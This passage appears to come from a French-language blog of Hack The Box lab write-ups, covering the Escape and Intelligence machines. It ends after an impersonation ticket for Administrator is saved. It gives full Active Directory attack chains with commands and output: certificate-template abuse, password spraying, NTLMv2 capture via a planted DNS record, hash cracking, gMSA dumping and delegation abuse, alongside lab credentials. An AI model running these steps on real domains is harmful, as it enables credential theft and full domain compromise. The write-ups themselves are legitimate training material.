Privilege Escalation : ESC1 Template

When a certificate template allows to specify a subjectAltName, it is possible to request a certificate for another user. It can be used for privileges escalation if the EKU specifies Client Authentication or ANY.

Enumeration : certipy find

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76


$ certipy find -u 'Ryan.cooper' -p 'NuclearMosquito3' -dc-ip 10.10.11.202 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC-CA' via RRP
[*] Got CA configuration for 'sequel-DC-CA'
[*] Enumeration output:
Certificate Authorities
 0
 CA Name : sequel-DC-CA
 DNS Name : dc.sequel.htb
 Certificate Subject : CN=sequel-DC-CA, DC=sequel, DC=htb
 Certificate Serial Number : 1EF2FA9A7E6EADAD4F5382F4CE283101
 Certificate Validity Start : 2022-11-18 20:58:46+00:00
 Certificate Validity End : 2121-11-18 21:08:46+00:00
 Web Enrollment : Disabled
 User Specified SAN : Disabled
 Request Disposition : Issue
 Enforce Encryption for Requests : Enabled
 Permissions
 Owner : SEQUEL.HTB\Administrators
 Access Rights
 ManageCertificates : SEQUEL.HTB\Administrators
 SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 ManageCa : SEQUEL.HTB\Administrators
 SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 Enroll : SEQUEL.HTB\Authenticated Users
Certificate Templates
 0
 Template Name : UserAuthentication
 Display Name : UserAuthentication
 Certificate Authorities : sequel-DC-CA
 Enabled : True
 Client Authentication : True
 Enrollment Agent : False
 Any Purpose : False
 Enrollee Supplies Subject : True
 Certificate Name Flag : EnrolleeSuppliesSubject
 Enrollment Flag : PublishToDs
 IncludeSymmetricAlgorithms
 Private Key Flag : ExportableKey
 Extended Key Usage : Client Authentication
 Secure Email
 Encrypting File System
 Requires Manager Approval : False
 Requires Key Archival : False
 Authorized Signatures Required : 0
 Validity Period : 10 years
 Renewal Period : 6 weeks
 Minimum RSA Key Length : 2048
 Permissions
 Enrollment Permissions
 Enrollment Rights : SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Domain Users
 SEQUEL.HTB\Enterprise Admins
 Object Control Permissions
 Owner : SEQUEL.HTB\Administrator
 Write Owner Principals : SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 SEQUEL.HTB\Administrator
 Write Dacl Principals : SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 SEQUEL.HTB\Administrator
 Write Property Principals : SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 SEQUEL.HTB\Administrator
 [!] Vulnerabilities
 ESC1 : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

Requesting a Malicious Certificate

On demande un certificat pour Administrator à travers le template vulnérable :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


$ certipy req -username "Ryan.cooper@sequel.htb" -p "NuclearMosquito3" -target 'dc.sequel.htb' -ca "sequel-DC-CA" -template "UserAuthentication" -upn "Administrator@sequel.htb" -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'dc.sequel.htb' at '127.0.0.53'
[+] Trying to resolve 'SEQUEL.HTB' at '127.0.0.53'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.202[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.202[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 17
[*] Got certificate with UPN 'Administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

### Fixing Kerberos Clock Skew (KRB_AP_ERR_SKEW) L’attaque échoue d’abord à cause d’un décalage horaire (KRB_AP_ERR_SKEW).
En ajustant l’heure avec faketime et l’heure réelle du DC, le problème est corrigé.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


$ date
Fri Sep 12 12:03:10 AM CEST 2025

$ ntpdate -q 10.10.11.202
2025-09-12 08:20:53.85924 (+0200) +28800.935013 +/- 0.010303 10.10.11.202 s1 no-leap

$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

$ faketime "$(date +'%Y-%m-%d') $(net time -S 10.10.11.202 | awk '{print $4}')" zsh

$ date
Fri Sep 12 08:03:39 AM CEST 2025

$ ntpdate -q 10.10.11.202
2025-09-12 08:03:44.141842 (+0200) -0.075273 +/- 0.010154 10.10.11.202 s1 no-leap

Getting a TGT as Administrator

Avec le certificat généré, on obtient un TGT et le hash NT de l’Administrator :

1
2
3
4
5
6
7
8
9


$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

Gaining Administrator Shell (psexec)

En utilisant le TGT et l’outil psexec.py, on obtient un shell en tant que nt authority\system :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


$ export KRB5CCNAME="administrator.ccache"

$ psexec.py -k -no-pass sequel.htb/Administrator@dc.sequel.htb
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc.sequel.htb.....
[*] Found writable share ADMIN$
[*] Uploading file zjPAtFqg.exe
[*] Opening SVCManager on dc.sequel.htb.....
[*] Creating service cbfM on dc.sequel.htb.....
[*] Starting service cbfM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
1991.....91d7

HTB | Intelligence

Wed, 03 Sep 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Intelligence	Windows	10.10.10.248	Medium

Users

1
2
3


Tiffany.Molina : NewIntelligenceCorpUser9876
Ted.Graves : Mr.Teddy
svc_int$:::1dcabcce2cf522bae77d7dc622587879

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.248
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Intelligence
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-03 19:34:02Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
| SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
|_ssl-date: 2025-09-03T19:35:37+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-03T19:35:36+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
| SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-03T19:35:37+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
| SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
| SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
|_ssl-date: 2025-09-03T19:35:36+00:00; +7h00m00s from scanner time.
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49691/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49710/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49713/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Foothold

intelligence.htb

On découvre un site web sur le port 80 de notre machine.

Fuzzing files

Sur la page d’accueil on nous indique un lien vers un fichier :

http://intelligence.htb/documents/2020-01-01-upload.pdf Un deuxième lien est présent avec un fichier contenant une autre date.

On fait la déduction que d’autres files peuvent etre présents, si l’on réussi à faire du fuzzing avec la date.

Dans un premier temps, on génére donc un fichier Python qui parcourt toutes les dates dans le bon format de 2015 à 2022 pour un premier test. On redirige ensuite la liste dans un fichier.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


from datetime import date, timedelta

def daterange(start_date: date, end_date: date):
 days = int((end_date - start_date).days)
 for n in range(days):
 yield start_date + timedelta(n)

start_date = date(2015, 1, 1)
end_date = date(2022, 6, 2)
for single_date in daterange(start_date, end_date):
 print(single_date.strftime("%Y-%m-%d"))

Ensuite, on utilise ffuf pour faire du fuzzing et récupérer toutes les URL des potentiels fichiers téléchargeables :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


$ ffuf -c -w dates.txt -u "http://intelligence.htb/documents/FUZZ-upload.pdf" -o results.json -of json


 /'___\ /'___\  /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
 \ \_\  \ \_\  \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://intelligence.htb/documents/FUZZ-upload.pdf
 :: Wordlist : FUZZ: /workspace/Intelligence/dates.txt
 :: Output file : results.json
 :: File format : json
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

2020-01-01 [Status: 200, Size: 26835, Words: 241, Lines: 209, Duration: 35ms]
2020-01-02 [Status: 200, Size: 27002, Words: 229, Lines: 199, Duration: 31ms]
2020-01-25 [Status: 200, Size: 26252, Words: 225, Lines: 193, Duration: 24ms]
2020-01-20 [Status: 200, Size: 11632, Words: 157, Lines: 127, Duration: 27ms]
2020-01-23 [Status: 200, Size: 11557, Words: 167, Lines: 136, Duration: 35ms]
2020-01-22 [Status: 200, Size: 28637, Words: 236, Lines: 224, Duration: 37ms]
2020-01-10 [Status: 200, Size: 26400, Words: 232, Lines: 205, Duration: 40ms]
2020-01-04 [Status: 200, Size: 27522, Words: 223, Lines: 196, Duration: 49ms]
2020-01-30 [Status: 200, Size: 26706, Words: 242, Lines: 193, Duration: 39ms]
2020-02-24 [Status: 200, Size: 27332, Words: 237, Lines: 206, Duration: 23ms]
2020-03-04 [Status: 200, Size: 26194, Words: 235, Lines: 202, Duration: 21ms]
2020-02-28 [Status: 200, Size: 11543, Words: 167, Lines: 131, Duration: 23ms]
2020-02-11 [Status: 200, Size: 25245, Words: 241, Lines: 198, Duration: 29ms]
2020-02-17 [Status: 200, Size: 11228, Words: 167, Lines: 132, Duration: 29ms]
2020-02-23 [Status: 200, Size: 27378, Words: 247, Lines: 213, Duration: 33ms]
2020-03-05 [Status: 200, Size: 26124, Words: 221, Lines: 205, Duration: 33ms]
2020-03-12 [Status: 200, Size: 27143, Words: 233, Lines: 213, Duration: 24ms]
2020-03-21 [Status: 200, Size: 11250, Words: 157, Lines: 134, Duration: 24ms]
...
2021-03-25 [Status: 200, Size: 27327, Words: 231, Lines: 211, Duration: 22ms]
2021-03-21 [Status: 200, Size: 26810, Words: 229, Lines: 205, Duration: 31ms]
2021-03-27 [Status: 200, Size: 12127, Words: 166, Lines: 141, Duration: 28ms]
:: Progress: [2709/2709] :: Job [1/1] :: 1562 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

Il faut ensuite parcourir cette liste d’url pour télécharger tous les fichiers. En Python, ça nous donne le code suivant :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


cat ffuf_dl.py
import json
import subprocess

with open("results.json") as f:
 data = json.load(f)

for result in data["results"]:
 url = result["url"]
 print(f"[*] Téléchargement de {url}")
 subprocess.run(["wget", "-q", "-P", "pdfs/", url])

Dans le dossier pdfs/ se trouve une grande quantité de fichiers

Password found in pdfs

J’ai utilisé la commande pdftotext afin de convertir les pdfs en texte. Ensuite, en affichant le texte de tous les pdfs et en recherchant le mot clé “password”, on trouve un match ! Le mot de passe : NewIntelligenceCorpUser9876

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ for f in *.pdf
do
 pdftotext $f
done
$ cat *.txt | grep -i password -A3 -B3

New Account Guide
Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876
After logging in please change your password as soon as possible.

On trouve également le message suivant:

1
2
3
4
5


Internal IT Update
There has recently been some outages on our web servers. Ted has gotten a
script in place to help notify us if this happens again.
Also, after discussion following our recent security audit we are in the process
of locking down our service accounts.

User list from pdfs creators

En utilisant exiftool, on peut recuperer beaucoup d’information sur les PDFs et notamment le nom des createurs ayant généré les pdfs. On peut alors obtenir une liste d’utilisateurs potentiels

1
2
3
4
5
6
7
8


exiftool pdfs/*.pdf | grep -i creator | awk '{print $3}'
William.Lee
Scott.Scott
...
Tiffany.Molina <-----------
...
Ian.Duncan
Richard.Williams

Avec kerbrute, on peut vérifier si les utilisateurs existent. Une très grosse partie existe en vérité. Avec nxc on effectue un password spray et on trouve les credentials suivants: intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


$ kerbrute userenum --dc dc.intelligence.htb -d intelligence.htb users.txt
 __ __ __
 / /_____ _____/ /_ _______ __/ /____
 / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/

Version: dev (n/a) - 09/03/25 - Ronnie Flathers @ropnop

2025/09/03 16:03:02 > Using KDC(s):
2025/09/03 16:03:02 > dc.intelligence.htb:88

2025/09/03 16:03:02 > [+] VALID USERNAME: Stephanie.Young@intelligence.htb
2025/09/03 16:03:02 > [+] VALID USERNAME: Veronica.Patel@intelligence.htb
2025/09/03 16:03:02 > [+] VALID USERNAME: Jason.Wright@intelligence.htb
2025/09/03 16:03:02 > [+] VALID USERNAME: David.Reed@intelligence.htb
2025/09/03 16:03:02 > [+] VALID USERNAME: Scott.Scott@intelligence.htb
......

$ nxc smb 10.10.10.248 -u users.txt -p pass.txt
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [-] intelligence.htb\William.Lee:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
...
SMB 10.10.10.248 445 DC [-] intelligence.htb\Jason.Wright:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
SMB 10.10.10.248 445 DC [-] intelligence.htb\Richard.Williams:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
SMB 10.10.10.248 445 DC [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

Tiffany.Molina : user flag

On trouve un Share User accessible en lecture par Tiffany. On trouve finalement les fichiers de Tiffany et le flag user.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


smbclient //10.10.10.248/users -U 'Tiffany.Molina%NewIntelligenceCorpUser9876'
Try "help" to get a list of possible commands.
smb: \> ls
 . DR 0 Mon Apr 19 03:20:26 2021
 .. DR 0 Mon Apr 19 03:20:26 2021
 Administrator D 0 Mon Apr 19 02:18:39 2021
 All Users DHSrn 0 Sat Sep 15 09:21:46 2018
 Default DHR 0 Mon Apr 19 04:17:40 2021
 Default User DHSrn 0 Sat Sep 15 09:21:46 2018
 desktop.ini AHS 174 Sat Sep 15 09:11:27 2018
 Public DR 0 Mon Apr 19 02:18:39 2021
 Ted.Graves D 0 Mon Apr 19 03:20:26 2021
 Tiffany.Molina D 0 Mon Apr 19 02:51:46 2021

 3770367 blocks of size 4096. 1453992 blocks available
smb: \> cd Tiffany.molina
smb: \Tiffany.molina\> cd Desktop
smb: \Tiffany.molina\Desktop\> ls
 . DR 0 Mon Apr 19 02:51:46 2021
 .. DR 0 Mon Apr 19 02:51:46 2021
 user.txt AR 34 Wed Sep 3 21:31:06 2025

 3770367 blocks of size 4096. 1453992 blocks available
smb: \Tiffany.molina\Desktop\> get user.txt
getting file \Tiffany.molina\Desktop\user.txt of size 34 as user.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \Tiffany.molina\Desktop\>
$ cat user.txt
359b.....159e

Rusthound bloodhound

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


$ rusthound -d intelligence.htb -u "Tiffany.Molina"@"intelligence.htb" -p "NewIntelligenceCorpUser9876" -o /workspace/Intelligence/bloodhount_data --zip -n 10.10.10.248
---------------------------------------------------
Initializing RustHound at 16:50:28 on 09/03/25
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2025-09-03T14:50:28Z INFO rusthound] Verbosity level: Info
[2025-09-03T14:50:28Z INFO rusthound::ldap] Connected to INTELLIGENCE.HTB Active Directory!
[2025-09-03T14:50:28Z INFO rusthound::ldap] Starting data collection...
[2025-09-03T14:50:28Z INFO rusthound::ldap] All data collected for NamingContext DC=intelligence,DC=htb
[2025-09-03T14:50:28Z INFO rusthound::json::parser] Starting the LDAP objects parsing...
[2025-09-03T14:50:28Z INFO rusthound::json::parser::bh_41] MachineAccountQuota: 10
[2025-09-03T14:50:28Z INFO rusthound::json::parser] Parsing LDAP objects finished!
[2025-09-03T14:50:28Z INFO rusthound::json::checker] Starting checker to replace some values...
[2025-09-03T14:50:28Z INFO rusthound::json::checker] Checking and replacing some values finished!
[2025-09-03T14:50:28Z INFO rusthound::json::maker] 43 users parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 63 groups parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 1 computers parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 1 ous parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 1 domains parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 2 gpos parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 21 containers parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] /workspace/Intelligence/bloodhount_data/20250903165028_intelligence-htb_rusthound.zip created!

RustHound Enumeration Completed at 16:50:29 on 09/03/25! Happy Graphing!

Tiffany.Molina -> Ted.Graves

En se connectant au share IT on remarque un script powershell. Ce script parcourt tous les domaines DNS enregistrés commencant par “web” puis effectue une requête HTTP avec Invoke-WebRequest. Si le site n’est pas actif, alors la requête echoue et un mail est envoyé à Ted.

Il est indiqué que le script est executé toutes les 5mn, et vraisembablement est executé par Ted lui même. On remarque l’utilisation du paramètre -UseDefaultCredentials ce qui signifie que les creds de celui qui l’execute sont transmis lors de la requête.

Si on arrive à detourner le script pour lui faire faire une requête vers notre ordinateur, on pourrait recupérer le mot de passe de Ted.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


smbclient //10.10.10.248/it -U 'Tiffany.Molina%NewIntelligenceCorpUser9876'
Try "help" to get a list of possible commands.
smb: \> ls
 . D 0 Mon Apr 19 02:50:55 2021
 .. D 0 Mon Apr 19 02:50:55 2021
 downdetector.ps1 A 1046 Mon Apr 19 02:50:55 2021

 3770367 blocks of size 4096. 1453177 blocks available
smb: \> get downdetector.ps1
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (13.4 KiloBytes/sec) (average 13.4 KiloBytes/sec)
smb: \>
[Sep 03, 2025 - 17:13:40 (CEST)] exegol-pentest Intelligence # cat downdetector.ps1 
��# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

L’idée est donc:

Créer un record DNS commençant par “web” avec le compte de Tiffany
Mettre en place un responder, qui attend de recevoir une requête et nous donnera un hachage
Déchiffrer le hachage.

New DNS Record

On crée un nouveau DNS record : web666. Il pointe vers notre IP. Pour cela on peut utiliser l’outil dnstool.py :

1
2
3
4
5
6


$ dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r web666 -a add -d 10.10.16.10 10.10.10.248
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Responder

On se met en attente d’une requête, avec la commande responder :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


[Sep 03, 2025 - 22:43:49 (CEST)] exegol-pentest Intelligence # responder -I tun0 -w -F 
 __
 .----.-----.-----.-----.-----.-----.--| |.-----.----.
 | _| -__|__ --| _ | _ | | _ || -__| _|
 |__| |_____|_____| __|_____|__|__|_____||_____|__|
 |__|

 NBT-NS, LLMNR & MDNS Responder 3.1.5.0

[+] Listening for events...

[!] Error starting TCP server on port 53, check permissions or other servers running.
[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:1122334455667788:BF2803FDDC9EEF7CD931A308E83AAF83:0101000000000000579387554E1DDC014DF34E0577DDBE3A0000000002000800510054003200360001001E00570049004E002D00440046003200570030004700530042004500390050000400140051005400320036002E004C004F00430041004C0003003400570049004E002D00440046003200570030004700530042004500390050002E0051005400320036002E004C004F00430041004C000500140051005400320036002E004C004F00430041004C00080030003000000000000000000000000020000027B3134561E5EAEC1547E28450320466E1AC51EF296269768842659E2D2AD00B0A001000000000000000000000000000000000000900380048005400540050002F007700650062003600360036002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000

Ted NTLMv2 Hash

On effectue une attaque par dictionnaire sur le hachage NTLMv2 de Ted.graves et on obtient les credentials suivants : Ted : Mr.Teddy

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$ hashcat -m 5600 ./hash.txt ~/wordlists/rockyou.txt
...

TED.GRAVES::intelligence:112.......000:Mr.Teddy

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TED.GRAVES::intelligence:1122334455667788:bf2803fdd...000000
Time.Started.....: Wed Sep 3 22:47:36 2025 (2 secs)
Time.Estimated...: Wed Sep 3 22:47:38 2025 (0 secs)
...

$ nxc smb 10.10.10.248 -u Ted.graves -p 'Mr.Teddy'
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [+] intelligence.htb\Ted.graves:Mr.Teddy

Ted.Graves -> svc_int$

ReadGMSAPassword Right on svc_int$

En utilisant bloodhound, on découvre que Ted.Graves fait parti du groupe ITSupport qui a le droit ReadGMSAPassword sur l’utilisateur svc_int$.

En utilisant la commande gMSADumper.py on peut alors dumper le hachage de svc_int$ :

1
2
3
4
5
6
7


gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -d 'intelligence.htb'
Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::1dcabcce2cf522bae77d7dc622587879
svc_int$:aes256-cts-hmac-sha1-96:331c8820d64c744ba82a28551b76dc2dc00991df0e253fa613d37c4684e045fd
svc_int$:aes128-cts-hmac-sha1-96:40122d8d49ee8c46ea793c19b3a59d08

svc_int$ -> Administrator

msDS-AllowedToDelegateTo : WWW/dc.intelligence.htb

On remarque que svc_int peut : msDS-AllowedToDelegateTo : WWW/dc.intelligence.htb

Ce qui veut dire que svc_int$ peut se faire passer pour un autre utilisateur uniquement vers le service WWW/dc.intelligence.htb. On peut aussi voir ce resultat directement dans bloodhound.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


ldapsearch -x -H ldap://10.10.10.248 -D "intelligence\Ted.Graves" -w "Mr.Teddy" -b "DC=intelligence,DC=htb" | grep -i msDS-AllowedToDel -A20 -B40

# svc_int, Managed Service Accounts, intelligence.htb
dn: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
objectClass: computer
objectClass: msDS-GroupManagedServiceAccount
cn: svc_int
distinguishedName: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=h
 tb
....
msDS-AllowedToDelegateTo: WWW/dc.intelligence.htb

Silver Ticket : impersonate Administrator

On peut maintenant se faire passer pour l’administrateur en générant un silver ticket pour le SPN WWW/dc.intelligence.htb.

On utilise ensuite psexec pour obtenir un powershell en tant qu’admin avec le ticket généré :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


$ getST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int$ -dc-ip 10.10.10.248 -hashes :1dcabcce2cf522bae77d7dc622587879

Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache

$ mv Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache admin.ccache

